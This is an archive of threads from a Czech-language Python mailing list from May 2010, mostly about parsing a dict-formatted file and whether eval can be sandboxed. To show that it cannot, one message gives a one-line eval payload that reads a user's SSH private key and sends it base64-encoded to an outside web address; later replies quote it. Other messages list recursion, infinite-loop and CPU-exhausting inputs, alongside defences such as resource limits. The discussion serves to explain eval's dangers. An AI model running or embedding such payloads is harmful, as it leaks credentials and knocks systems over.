Re: [python] parsing souboru
Tomas Hnizdil Mam soubor, ve kterem mam textova data ve formatu dictionary tj. '{'KLIC': 'hodnota', .. {'SUBSLOVNIK': 'hodnota' } ...} Potrebuji zjistit hodnotu dvou klicu, ktere jsou umitsteny skoro na konci toho slovniku. Vsechno je to ulozeno jako jedna radka a ma to v prumeru 6000 znaku, prijde mi proto neefektivni to cist od zacatku a navic to nacitat cele do pameti, python ma spoustu sikovnych funkci, o kterych nevim, proto se ptam, zda to jde udelat nejak lepe ... Jak často se to má spouštět? Jak velký ten soubor je? V jakém kódování je? S jakou verzí Pythonu to má fungovat? Pokud je na jednom řádku zápis celého slovníku, normálně bych z toho udělal slovník (eval) a nedělal bych si s tím těžkou hlavu. Pokud se to nemá provádět velmi intenzivně, nemá smysl se zabývat optimalizacemi. Něco takového: a = {'a': 1, 'b': 2} a {'a': 1, 'b': 2} d = eval(a) d {'a': 1, 'b': 2} Petr ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
[python] OT: překlad caching proxy?
Všechny zdravím a Slunce v duši (když už je tak zas...á obloha), Mám tu zase takový oříšek. Překládá se nějakým stručným českým pojmem nebo ne-příliš-moc-dlouhým-i-když-korektním-opisem anglický caching proxy v souvislosti s webovými službami? Dík, Petr ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] OT: překlad caching proxy?
Kešovací proxy? Oba termíny se mi zdají v češtině normálně používané. Petr Messner 5.5.2010 v 9:24, Petr Přikryl prik...@atlas.cz: Všechny zdravím a Slunce v duši (když už je tak zas...á obloha ), Mám tu zase takový oříšek. Překládá se nějakým stručným českým pojmem nebo ne-příliš-moc-dlouhým-i-když-korektním-opisem anglický caching proxy v souvislosti s webovými službami? Dík, Petr ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
Ahoj, To skoro vypada, jako JSON format, na ktery existuji parsery (I primo v Pythonu). 6000 znaku nema smysl nijak optimalizovat, to je zbytecna ztrata casu. Mrkni se, jestli to nepujde parsovat pres JSON. Evil je zlo, hojne pouzivane v JS a PHP, v Pythonu jsem ho (nastesti) snad nikdy nevidel. Jirka On 05/05/2010, Petr Přikryl prik...@atlas.cz wrote: Tomas Hnizdil Mam soubor, ve kterem mam textova data ve formatu dictionary tj. '{'KLIC': 'hodnota', .. {'SUBSLOVNIK': 'hodnota' } ...} Potrebuji zjistit hodnotu dvou klicu, ktere jsou umitsteny skoro na konci toho slovniku. Vsechno je to ulozeno jako jedna radka a ma to v prumeru 6000 znaku, prijde mi proto neefektivni to cist od zacatku a navic to nacitat cele do pameti, python ma spoustu sikovnych funkci, o kterych nevim, proto se ptam, zda to jde udelat nejak lepe ... Jak často se to má spouštět? Jak velký ten soubor je? V jakém kódování je? S jakou verzí Pythonu to má fungovat? Pokud je na jednom řádku zápis celého slovníku, normálně bych z toho udělal slovník (eval) a nedělal bych si s tím těžkou hlavu. Pokud se to nemá provádět velmi intenzivně, nemá smysl se zabývat optimalizacemi. Něco takového: a = {'a': 1, 'b': 2} a {'a': 1, 'b': 2} d = eval(a) d {'a': 1, 'b': 2} Petr ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
Jirka Vejrazka (středa 05 Květen 2010 10:33:39): Mrkni se, jestli to nepujde parsovat pres JSON. Evil je zlo, hojne pouzivane v JS a PHP, v Pythonu jsem ho (nastesti) snad nikdy nevidel. Dělám to nerad, ale musím se evalu zastat. Narozdíl od PHP v pythonu eval() nesežere libovolný kód, ale pouze vyhodnotí výraz. A když se mu podstrčí nedefaultní jmenné prostory, měl by být dostatečně izolovaný. Zlo se v pythonu jmenuje exec() :-) A vida, diky za opravu :) Mea culpa :) Jirka ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre narusenie bezpecnosti sa da spravit aj v eval. Proti importom, builtin namespace atd sa daju zabezpecit obe. Nekonecny cyklus, nekonecna rekurzia, vsetko sa da spravit aj v eval aj v exec. Jediny rozdiel je v tom, ze jeden vykonava vyrazy a jeden prikazy. Jan Janech On 05/05/10 11:49, Hynek Fabian wrote: Jirka Vejrazka (středa 05 Květen 2010 10:33:39): Mrkni se, jestli to nepujde parsovat pres JSON. Evil je zlo, hojne pouzivane v JS a PHP, v Pythonu jsem ho (nastesti) snad nikdy nevidel. Dělám to nerad, ale musím se evalu zastat. Narozdíl od PHP v pythonu eval() nesežere libovolný kód, ale pouze vyhodnotí výraz. A když se mu podstrčí nedefaultní jmenné prostory, měl by být dostatečně izolovaný. Zlo se v pythonu jmenuje exec() :-) ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python -- Ing. Jan Janech Katedra softverovych technologii Fakulta riadenia a informatiky Zilinska Univerzita ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
Ahoj, pokud to vypadá jako JSON, asi nejlepší bude použít na to nějakou knihovnu, jak už tu zaznělo. Další zmíněná možnost, eval, se mi moc nelíbí. Načítat do paměti bych se to nebál, 6 kB není zase tolik. Kdyby to ale náhodou JSON nebyl, pak přeji příjemnou zábavu :) Poslední dobou se objevují docela šikovné knihovny na parsování textu pomocí zadané gramatiky, např. malá ukázka pro slovník: http://gist.github.com/390687 Samozřejmě další možností je použít na obsah souboru regulární výraz, pokud je to možné. PM 2010/5/5 Tomas Hnizdil tomash...@gmail.com: Hezky den, jelikoz s pythonem nemam zas tak moc zkusenosti, napadlo me, ze udelam takovy maly brainstorming, nez se pustim do prace. Mam soubor, ve kterem mam textova data ve formatu dictionary tj. '{'KLIC': 'hodnota', .. {'SUBSLOVNIK': 'hodnota' } ...} Potrebuji zjistit hodnotu dvou klicu, ktere jsou umitsteny skoro na konci toho slovniku. Vsechno je to ulozeno jako jedna radka a ma to v prumeru 6000 znaku, prijde mi proto neefektivni to cist od zacatku a navic to nacitat cele do pameti, python ma spoustu sikovnych funkci, o kterych nevim, proto se ptam, zda to jde udelat nejak lepe ... ... staci odkaz, na ktery jsem nenarazil, necekam step by step navod - vazim si vaseho casu :). diky Tom ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
Kdyby to ale náhodou JSON nebyl, pak přeji příjemnou zábavu :) Poslední dobou se objevují docela šikovné knihovny na parsování textu pomocí zadané gramatiky, např. malá ukázka pro slovník: http://gist.github.com/390687 No, kdyby na to doslo, da se samozrejme pouzit pyparsing, ale je to trochu kanon na vrabce :) Jirka ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
Jan Janech (středa 05 Květen 2010 13:08:49): Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre narusenie bezpecnosti sa da spravit aj v eval. Jak? eval(x, {}, {}) Jakým X se dá z takové konstrukce utéci? ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
eval(__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import__('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read(), {}, {}) 2010/5/5 Hynek Fabian hynek.fab...@firma.seznam.cz: Jan Janech (středa 05 Květen 2010 13:08:49): Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre narusenie bezpecnosti sa da spravit aj v eval. Jak? eval(x, {}, {}) Jakým X se dá z takové konstrukce utéci? ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
To je ale krásně hnusný… odvolávám co jsem odvolal a slibuji co jsem slíbil, evalu se budu nadále vyhýbat obloukem. Petr Messner (středa 05 Květen 2010 14:37:20): eval(__import__('urllib2').urlopen('http://messa.cz/?pepovoklic='+__import __('base64').urlsafe_b64encode(open('/home/pepa/.ssh/id_dsa').read())).read (), {}, {}) 2010/5/5 Hynek Fabian hynek.fab...@firma.seznam.cz: Jan Janech (středa 05 Květen 2010 13:08:49): Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre narusenie bezpecnosti sa da spravit aj v eval. Jak? eval(x, {}, {}) Jakým X se dá z takové konstrukce utéci? ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
[python] Restricted Python
V Pythonu dříve existoval modul rexec a Bastion, které měly zajistit, aby bylo možné bezpečně spouštět nedůvěryhodný kód. S uvedením novější verze Pythonu (mám pocit, že 2.3) se ale našly nějaké bezpečnostní díry a tyto moduly byly defaultně zakázány. Teď jsem ale narazil na modul ResctrictedPython (http://pypi.python.org/pypi/RestrictedPython), který se tváří jako že žádné bezpečnostní díry nemá. Nejdůležitější vlastností je to, že si poskytnutý kód sám zkompiluje a například nedovolí jakékoliv používání objektů, jejichž název začíná podtržítkem. Jaký je váš názor? Máte nějaké zkušenosti? Na netu jsem nikde nenašel žádnou studii, jestli to funguje nebo ne. ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda ak to clovek vie spravit. staci nieco taketo: eval(superNebezpecnyKod, {'__builtins__': {}}, {}) alebo exec superNebezpecnyKod in {'__builtins__': {}}, {} zavisi ale od toho, akym situaciam sa chcete vyhnut. coho sa nezbavite (ani evalom) je napr nekonecna rekurzia: superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()' to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven rekurzie. co tak ale nekonecny cyklus? superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()' alebo supernarocne operacie? superNebezpecnyKod='2**1' vela stastia pri vyuzivani evalu a execu :D Jan Janech On 05/05/10 14:26, Hynek Fabian wrote: Jan Janech (středa 05 Květen 2010 13:08:49): Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre narusenie bezpecnosti sa da spravit aj v eval. Jak? eval(x, {}, {}) Jakým X se dá z takové konstrukce utéci? ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python -- Ing. Jan Janech Katedra softverovych technologii Fakulta riadenia a informatiky Zilinska Univerzita ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] Restricted Python
Pozor! RestrictedPython umoznuje iba plne kontrolovat, ku ktorym objektom ma vykonavany kod pristup a ku ktorym nie. Okrem toho, ze je s nim vykonanie pomalsie, neumozni osetrit situacie, ktore som nacrtol v mojom druhom maily. Ak by ten druhy mail neprisiel, tak su to napr. tieto: rekurzia superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()' nekonecny cyklus: superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()' zrut pamate a cpu: superNebezpecnyKod='2**1' a kopec inych. okrem toho, len poopravenie: RestrictedPython kod nekompiluje, iba patchuje existujuci bytekod. Kompilaciu zdrojaku nechava na Python. Jan Janech On 05/05/10 15:02, Jakub Zíka wrote: V Pythonu dříve existoval modul rexec a Bastion, které měly zajistit, aby bylo možné bezpečně spouštět nedůvěryhodný kód. S uvedením novější verze Pythonu (mám pocit, že 2.3) se ale našly nějaké bezpečnostní díry a tyto moduly byly defaultně zakázány. Teď jsem ale narazil na modul ResctrictedPython (http://pypi.python.org/pypi/RestrictedPython), který se tváří jako že žádné bezpečnostní díry nemá. Nejdůležitější vlastností je to, že si poskytnutý kód sám zkompiluje a například nedovolí jakékoliv používání objektů, jejichž název začíná podtržítkem. Jaký je váš názor? Máte nějaké zkušenosti? Na netu jsem nikde nenašel žádnou studii, jestli to funguje nebo ne. ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python -- Ing. Jan Janech Katedra softverovych technologii Fakulta riadenia a informatiky Zilinska Univerzita ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
Na Linuxu bych se proti přetížení procesoru bránil tak, že bych spustil skript jako samostatný proces (např. modul multiprocessing nebo subprocess) a pak bych mu posílal signály SIGSTOP a SIGCONT přes funkci os.kill(pid, sig). Kdyby mi připadalo, že už běží nějak moc dlouho, prostě bych ho vypnul přes signál TERM, pokud by nereagoval (myslím, že se to může stát, když počítá např. 10**1000), tak signál KILL. Protože by uživatel nemohl změnit chování při přijetí signálů (protože by nemohl importovat potřebný modul), mělo by to fungovat celkem spolehlivě. Maximální velikost použité paměti lze omezit přes modul resource. 2010/5/5 Jan Janech de...@atlas.sk: Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda ak to clovek vie spravit. staci nieco taketo: eval(superNebezpecnyKod, {'__builtins__': {}}, {}) alebo exec superNebezpecnyKod in {'__builtins__': {}}, {} zavisi ale od toho, akym situaciam sa chcete vyhnut. coho sa nezbavite (ani evalom) je napr nekonecna rekurzia: superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()' to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven rekurzie. co tak ale nekonecny cyklus? superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()' alebo supernarocne operacie? superNebezpecnyKod='2**1' vela stastia pri vyuzivani evalu a execu :D Jan Janech On 05/05/10 14:26, Hynek Fabian wrote: Jan Janech (středa 05 Květen 2010 13:08:49): Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre narusenie bezpecnosti sa da spravit aj v eval. Jak? eval(x, {}, {}) Jakým X se dá z takové konstrukce utéci? ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python -- Ing. Jan Janech Katedra softverovych technologii Fakulta riadenia a informatiky Zilinska Univerzita ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] Restricted Python
Díky za připomínku. Jak vyřešit tyto případy jsem zrovna napsal jako odpověď na Váš předchozí příspěvek. 2010/5/5 Jan Janech de...@atlas.sk: Pozor! RestrictedPython umoznuje iba plne kontrolovat, ku ktorym objektom ma vykonavany kod pristup a ku ktorym nie. Okrem toho, ze je s nim vykonanie pomalsie, neumozni osetrit situacie, ktore som nacrtol v mojom druhom maily. Ak by ten druhy mail neprisiel, tak su to napr. tieto: rekurzia superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()' nekonecny cyklus: superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()' zrut pamate a cpu: superNebezpecnyKod='2**1' a kopec inych. okrem toho, len poopravenie: RestrictedPython kod nekompiluje, iba patchuje existujuci bytekod. Kompilaciu zdrojaku nechava na Python. Jan Janech On 05/05/10 15:02, Jakub Zíka wrote: V Pythonu dříve existoval modul rexec a Bastion, které měly zajistit, aby bylo možné bezpečně spouštět nedůvěryhodný kód. S uvedením novější verze Pythonu (mám pocit, že 2.3) se ale našly nějaké bezpečnostní díry a tyto moduly byly defaultně zakázány. Teď jsem ale narazil na modul ResctrictedPython (http://pypi.python.org/pypi/RestrictedPython), který se tváří jako že žádné bezpečnostní díry nemá. Nejdůležitější vlastností je to, že si poskytnutý kód sám zkompiluje a například nedovolí jakékoliv používání objektů, jejichž název začíná podtržítkem. Jaký je váš názor? Máte nějaké zkušenosti? Na netu jsem nikde nenašel žádnou studii, jestli to funguje nebo ne. ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python -- Ing. Jan Janech Katedra softverovych technologii Fakulta riadenia a informatiky Zilinska Univerzita ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
Ak myslite, ze je to take jednoduche, skuste si spustit, list(xrange(10)) neviem kolko nul tam moze byt, aby to zobralo. Toto som skusil ked som pisal predchadzajuci mail. Potom som ho musel pisat znovu, lebo mi linux zabil thunderbird pre nedostatok pamate. Viem, ze ak sa to spravi spravne, nemozem v eval a exec pouzivat ziadne fcie (ani list, ani xrange), takze hentak uplne to napisat nepojde. Ale verim, ze niekde na svete existuje vacsi borec ako ja ( :-D ) a ten to dokaze takyto problem vytvorit aj so standardnymi prvkami jazyka. Jan Janech On 05/05/10 15:27, Jakub Zíka wrote: Na Linuxu bych se proti přetížení procesoru bránil tak, že bych spustil skript jako samostatný proces (např. modul multiprocessing nebo subprocess) a pak bych mu posílal signály SIGSTOP a SIGCONT přes funkci os.kill(pid, sig). Kdyby mi připadalo, že už běží nějak moc dlouho, prostě bych ho vypnul přes signál TERM, pokud by nereagoval (myslím, že se to může stát, když počítá např. 10**1000), tak signál KILL. Protože by uživatel nemohl změnit chování při přijetí signálů (protože by nemohl importovat potřebný modul), mělo by to fungovat celkem spolehlivě. Maximální velikost použité paměti lze omezit přes modul resource. 2010/5/5 Jan Janechde...@atlas.sk: Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda ak to clovek vie spravit. staci nieco taketo: eval(superNebezpecnyKod, {'__builtins__': {}}, {}) alebo exec superNebezpecnyKod in {'__builtins__': {}}, {} zavisi ale od toho, akym situaciam sa chcete vyhnut. coho sa nezbavite (ani evalom) je napr nekonecna rekurzia: superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()' to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven rekurzie. co tak ale nekonecny cyklus? superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()' alebo supernarocne operacie? superNebezpecnyKod='2**1' vela stastia pri vyuzivani evalu a execu :D Jan Janech On 05/05/10 14:26, Hynek Fabian wrote: Jan Janech (středa 05 Květen 2010 13:08:49): Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre narusenie bezpecnosti sa da spravit aj v eval. Jak? eval(x, {}, {}) Jakým X se dá z takové konstrukce utéci? ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python -- Ing. Jan Janech Katedra softverovych technologii Fakulta riadenia a informatiky Zilinska Univerzita ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python -- Ing. Jan Janech Katedra softverovych technologii Fakulta riadenia a informatiky Zilinska Univerzita ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
Jak jsem už psal, dá se použít modul resource: import resource resource.setrlimit(resource.RLIMIT_AS, (2000, 2000)) a = [] while True: a.append(1000) ... Traceback (most recent call last): File stdin, line 1, in module MemoryError btw. Váš příklad mi nefungoval, asi tam bylo moc nul. Prej to nejde zkonvertovat na integer. Nebo máte 64-bit procesor? 2010/5/5 Jan Janech de...@atlas.sk: Ak myslite, ze je to take jednoduche, skuste si spustit, list(xrange(10)) neviem kolko nul tam moze byt, aby to zobralo. Toto som skusil ked som pisal predchadzajuci mail. Potom som ho musel pisat znovu, lebo mi linux zabil thunderbird pre nedostatok pamate. Viem, ze ak sa to spravi spravne, nemozem v eval a exec pouzivat ziadne fcie (ani list, ani xrange), takze hentak uplne to napisat nepojde. Ale verim, ze niekde na svete existuje vacsi borec ako ja ( :-D ) a ten to dokaze takyto problem vytvorit aj so standardnymi prvkami jazyka. Jan Janech On 05/05/10 15:27, Jakub Zíka wrote: Na Linuxu bych se proti přetížení procesoru bránil tak, že bych spustil skript jako samostatný proces (např. modul multiprocessing nebo subprocess) a pak bych mu posílal signály SIGSTOP a SIGCONT přes funkci os.kill(pid, sig). Kdyby mi připadalo, že už běží nějak moc dlouho, prostě bych ho vypnul přes signál TERM, pokud by nereagoval (myslím, že se to může stát, když počítá např. 10**1000), tak signál KILL. Protože by uživatel nemohl změnit chování při přijetí signálů (protože by nemohl importovat potřebný modul), mělo by to fungovat celkem spolehlivě. Maximální velikost použité paměti lze omezit přes modul resource. 2010/5/5 Jan Janechde...@atlas.sk: Potesim Vas, z evalu ani z execu sa pokial mi je znamo utiect neda. Teda ak to clovek vie spravit. staci nieco taketo: eval(superNebezpecnyKod, {'__builtins__': {}}, {}) alebo exec superNebezpecnyKod in {'__builtins__': {}}, {} zavisi ale od toho, akym situaciam sa chcete vyhnut. coho sa nezbavite (ani evalom) je napr nekonecna rekurzia: superNebezpecnyKod='(lambda x=(lambda y: y(y)): x(x))()' to az tak neboli, ak nemate povolenu nejaku prilis hlboku uroven rekurzie. co tak ale nekonecny cyklus? superNebezpecnyKod='(lambda x=[1]: [x.append(1) for i in x])()' alebo supernarocne operacie? superNebezpecnyKod='2**1' vela stastia pri vyuzivani evalu a execu :D Jan Janech On 05/05/10 14:26, Hynek Fabian wrote: Jan Janech (středa 05 Květen 2010 13:08:49): Dovolim si oponovat. Vsetko co sa da v pythone v exec spravit pre narusenie bezpecnosti sa da spravit aj v eval. Jak? eval(x, {}, {}) Jakým X se dá z takové konstrukce utéci? ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python -- Ing. Jan Janech Katedra softverovych technologii Fakulta riadenia a informatiky Zilinska Univerzita ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python -- Ing. Jan Janech Katedra softverovych technologii Fakulta riadenia a informatiky Zilinska Univerzita ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] parsing souboru
import resource resource.setrlimit(resource.RLIMIT_AS, (2000, 2000)) hm resource modul som nepoznal, mozno by to slo vyriesit nejak takto. Osobne ale radsej pouzijem eval a exec iba tam, kde ma bezpecnost az tak nepali. Mam ich sice rad, ale urcite to nie je laska bez hranic. btw. Váš příklad mi nefungoval, asi tam bylo moc nul. Prej to nejde zkonvertovat na integer. Nebo máte 64-bit procesor? hej mam 64bit procesor. Ale ako som pisal, neviem kolko nul to este zozerie a skusat to nebudem (zase by mi to pozabijalo vsetko mozne :-D ) Ten resource modul ale urcite niekedy vyskusam, ked budem mat viac casu, ze ci to pomoze aj v takychto situaciach. Jan Janech -- Ing. Jan Janech Katedra softverovych technologii Fakulta riadenia a informatiky Zilinska Univerzita ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
[python] cesta k importovanemu modulu
Pratele, Potreboval bych zjistit cesty k modulum (=soubory ve kterych jsou moduly ulozeny), ktere pouziva bezici skript. Mozna cesta vede pres modul modulefinder, avsak zatim se mi ho nepodarilo premluvit, tak abych dostal chteny vysledek. Poradi nekdo jak na to? Diky Vepro ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python
Re: [python] cesta k importovanemu modulu
Ahoj, zkusil jsi atribut __file__? $ python Python 2.5.5 (r255:77872, Feb 2 2010, 00:25:36) [GCC 4.4.3] on linux2 Type help, copyright, credits or license for more information. import os os module 'os' from '/usr/lib/python2.5/os.pyc' os.__file__ '/usr/lib/python2.5/os.pyc' PM 2010/5/5 vepro p.zla...@gmail.com: Pratele, Potreboval bych zjistit cesty k modulum (=soubory ve kterych jsou moduly ulozeny), ktere pouziva bezici skript. Mozna cesta vede pres modul modulefinder, avsak zatim se mi ho nepodarilo premluvit, tak abych dostal chteny vysledek. Poradi nekdo jak na to? Diky Vepro ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python ___ Python mailing list Python@py.cz http://www.py.cz/mailman/listinfo/python